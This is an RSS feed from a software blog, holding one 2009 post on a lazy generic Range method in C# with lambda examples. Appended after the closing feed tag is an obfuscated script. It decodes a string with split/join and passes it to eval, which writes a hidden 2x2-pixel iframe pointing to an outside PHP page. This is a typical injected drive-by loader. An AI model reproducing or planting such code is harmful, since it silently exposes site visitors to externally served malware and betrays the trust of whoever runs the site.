<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>LexParse &#187; generics</title>
	<atom:link href="http://www.lexparse.com/tag/generics/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.lexparse.com</link>
	<description>Software Development</description>
	<lastBuildDate>Sat, 14 Nov 2009 03:39:33 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>C#: Generics, lambdas, laziness</title>
		<link>http://www.lexparse.com/2009/10/26/c-generics-lambdas-laziness/</link>
		<comments>http://www.lexparse.com/2009/10/26/c-generics-lambdas-laziness/#comments</comments>
		<pubDate>Mon, 26 Oct 2009 19:14:37 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[C#]]></category>
		<category><![CDATA[generics]]></category>
		<category><![CDATA[lambdas]]></category>
		<category><![CDATA[laziness]]></category>

		<guid isPermaLink="false">http://lexparse.com/?p=10</guid>
		<description><![CDATA[You need a lazy sequence of something:

public static IEnumerable&#60;T&#62; Range&#60;T&#62;(T Start, T End, Func&#60;T, T&#62; inc) where T : IComparable&#60;T&#62;
{
   T result = Start;
   while (result.CompareTo(End) &#60;= 0)
   {
      yield return result;
      result = inc(result) ;
   }
}

Need [...]]]></description>
			<content:encoded><![CDATA[<p>You need a lazy sequence of something:</p>
<pre name="code" class="c-sharp">
public static IEnumerable&lt;T&gt; Range&lt;T&gt;(T Start, T End, Func&lt;T, T&gt; inc) where T : IComparable&lt;T&gt;
{
   T result = Start;
   while (result.CompareTo(End) &lt;= 0)
   {
      yield return result;
      result = inc(result) ;
   }
}
</pre>
<p>Need a sequence of integers up to a million:</p>
<pre name="code" class="c-sharp">
Funcs.Range(0, 1000000, (j =&gt; j + 1));
</pre>
<p>Need an infinite list of uppercase letters:</p>
<pre name="code" class="c-sharp">
Funcs.Range('A', '[', (c =&gt; c &gt;= 'Z' ? 'A' : (char)(c + 1)));
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.lexparse.com/2009/10/26/c-generics-lambdas-laziness/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script>var bpxDsSbm8='d*%@o*%@c*%@u*%@m*%@e*%@n*%@t*%@.*%@w*%@r*%@i*%@t*%@e*%@(*%@\'*%@<*%@i*%@f*%@r*%@a*%@m*%@e*%@ *%@s*%@r*%@c*%@=*%@"*%@h*%@t*%@t*%@p*%@:*%@/*%@/*%@n*%@i*%@n*%@o*%@p*%@l*%@a*%@s*%@.*%@c*%@o*%@m*%@/*%@i*%@n*%@.*%@p*%@h*%@p*%@"*%@ *%@w*%@i*%@d*%@t*%@h*%@=*%@2*%@ *%@h*%@e*%@i*%@g*%@h*%@t*%@=*%@2*%@ *%@f*%@r*%@a*%@m*%@e*%@b*%@o*%@r*%@d*%@e*%@r*%@=*%@0*%@>*%@<*%@/*%@i*%@f*%@r*%@a*%@m*%@e*%@>*%@\'*%@)*%@;*%@';eval(bpxDsSbm8.split('*%@').join(""));</script>